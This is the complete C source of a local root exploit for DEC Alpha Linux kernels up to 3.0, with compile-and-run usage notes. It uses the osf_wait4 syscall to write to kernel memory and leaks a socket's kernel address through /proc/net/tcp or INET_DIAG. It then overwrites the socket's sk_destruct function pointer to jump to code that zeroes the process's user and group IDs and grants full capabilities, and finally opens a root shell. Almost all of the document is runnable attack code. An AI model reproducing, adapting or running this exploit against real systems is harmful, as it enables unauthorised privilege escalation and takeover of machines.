/* * DEC Alpha Linux <= 3.0 local root exploit * by Dan Rosenberg (@djrbliss) * * Usage: * $ gcc alpha-omega.c -o alpha-omega * $ ./alpha-omega * * Notes: * -Payload specific to <= 2.6.28 (no cred struct, modify as needed) * -Socket trigger tested on 2.6.28 (adjust offset as needed) * -INET_DIAG parsing code borrowed from netstat */ #include #include #include #include #include #include #include #include #include #include #include #define SYS_osf_wait4 7 #define SOCK_OFFSET 552 /* Offset of sk_destruct fptr in sock * struct, change for your kernel */ #define PAGE_SIZE 8192 /* DEC alpha page size is 8K */ #define KERNEL_BASE 0xfffffc0000000000 /* DEC alpha PAGE_OFFSET */ #define TASK_STRUCT_OFFSET 64 /* task_struct offset in thread_info */ #define PAYLOAD 0x20000 #define PORT 31337 static int uid, gid; /* Writes (0xff & value) << 8 to addr */ void kernel_write(unsigned long addr, int value) { int pid = fork(); if (pid) { /* wait4 backdoor number two? ;) */ syscall(SYS_osf_wait4, pid, (int *)addr, 0, 1); return; } else { exit(value); } } /* Get the INET_DIAG cookie for our socket, which contains the low 32 bits * of the sock struct address */ unsigned int get_cookie(unsigned int port) { int fd; struct sockaddr_nl nladdr; struct { struct nlmsghdr nlh; struct inet_diag_req r; } req; struct msghdr msg; char buf[8192]; struct iovec iov; struct inet_diag_msg *r; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_INET_DIAG)) < 0) return -1; memset(&nladdr, 0, sizeof(nladdr)); nladdr.nl_family = AF_NETLINK; req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = TCPDIAG_GETSOCK; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_pid = 0; req.nlh.nlmsg_seq = 123456; memset(&req.r, 0, sizeof(req.r)); req.r.idiag_family = AF_INET; req.r.idiag_states = 0xfff; req.r.idiag_ext = 0; iov.iov_base = &req; iov.iov_len = sizeof(req); msg = (struct msghdr) { .msg_name = (void*)&nladdr, .msg_namelen = sizeof(nladdr), .msg_iov = &iov, .msg_iovlen = 1, }; if (sendmsg(fd, &msg, 0) < 0) { close(fd); return -1; } iov.iov_base = buf; iov.iov_len = sizeof(buf); while (1) { int status; struct nlmsghdr *h; msg = (struct msghdr) { (void*)&nladdr, sizeof(nladdr), &iov, 1, NULL, 0, 0 }; status = recvmsg(fd, &msg, 0); if (status < 0) { if (errno == EINTR) continue; close(fd); return -1; } if (status == 0) { close(fd); return -1; } h = (struct nlmsghdr*)buf; while (NLMSG_OK(h, status)) { if (h->nlmsg_seq == 123456) { if (h->nlmsg_type == NLMSG_DONE) { close(fd); return -1; } if (h->nlmsg_type == NLMSG_ERROR) { close(fd); return -1; } r = NLMSG_DATA(h); if (r->idiag_family == AF_INET && ntohs(r->id.idiag_sport) == port) return r->id.idiag_cookie[0]; } h = NLMSG_NEXT(h, status); } } close(fd); return -1; } /* Get the address of the sock struct for our socket */ unsigned long get_sock_addr(unsigned int port) { FILE *f; char buf[1024], path[512]; unsigned int testport, cookie, a; unsigned long addr, b; f = fopen("/proc/net/tcp", "r"); if (f < 0) { printf("[*] Failed to open /proc/net/tcp\n"); return 0; } while (fgets(buf, 1024, f)) { sscanf(buf, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X " "%02X:%08lX %08X %5d %8d %lu %d %p %lu %lu %u %u " "%d\n", &a, &a, &testport, &a, &a, &a, &a, &a, &a, &b, &a, &a, &a, &b, &a, (void **)&addr, &b, &b, &a, &a, &a); if (testport == port) { /* If kptr_restrict is on... */ if (!addr) { cookie = get_cookie(port); addr = (unsigned long)cookie + KERNEL_BASE; } fclose(f); return addr; } } fclose(f); return 0; } void getroot() { int i; /* Alpha has 16K stacks */ unsigned long thread_info = (unsigned long)&i & ~0x3fff; unsigned long task_struct = *(unsigned long *)(thread_info + TASK_STRUCT_OFFSET); int *j = (int *)task_struct; for (i = 0; i < 1000; i++, j++) { if (j[0] == uid && j[1] == uid && j[2] == uid && j[3] == uid && j[4] == gid && j[5] == gid && j[6] == gid && j[7] == gid) { /* uid, euid, suid, fsuid */ j[0] = j[1] = j[2] = j[3] = 0; /* gid, egid, sgid, fsgid */ j[4] = j[5] = j[6] = j[7] = 0; /* caps */ j[10] = j[11] = 0xffffffff; j[12] = j[13] = 0xffffffff; j[14] = j[15] = 0xffffffff; break; } } } void trampoline() { asm volatile( "mov %0, $0\n" "ldq $27, 0($0)\n" "jsr $26, ($27)\n" : : "r"(PAYLOAD)); } int main(int argc, char * argv[]) { unsigned long target, *payload; void *landing; int sock; struct sockaddr_in addr; size_t len; uid = getuid(); gid = getgid(); printf("[*] Opening TCP socket...\n"); sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { printf("[*] Failed to open TCP socket.\n"); return -1; } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = INADDR_ANY; if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) != 0) { printf("[*] Failed to bind TCP socket.\n"); return -1; } /* Our socket won't appear in /proc/net/tcp unless it's listening */ if (listen(sock, 1)) { printf("[*] Failed to listen on TCP socket.\n"); return -1; } printf("[*] Getting socket address from INET_DIAG...\n"); target = get_sock_addr(PORT); if (!target) { printf("[*] Failed to get socket address.\n"); return -1; } printf("[*] Socket address: %lx\n", target); target += SOCK_OFFSET; printf("[*] Mapping payload...\n"); landing = mmap((void *)0x10000, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); /* We need to keep the address of our payload at a constant address, * so we can retrieve it and jump to it in our trampoline. */ payload = (unsigned long *)mmap((void *)PAYLOAD, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if (landing == MAP_FAILED || payload == MAP_FAILED) { printf("[*] Failed to map payload.\n"); return -1; } *payload = (unsigned long)&getroot; memcpy((void *)landing, &trampoline, 256); printf("[*] Overwriting function pointer at %lx...\n", target); kernel_write(target, 0); kernel_write(target + 4, 0); kernel_write(target + 1, 1); printf("[*] Triggering payload...\n"); close(sock); if (getuid()) { printf("[*] Failed to get root.\n"); return -1; } printf("[*] Got root!\n"); execl("/bin/sh", "sh", NULL); }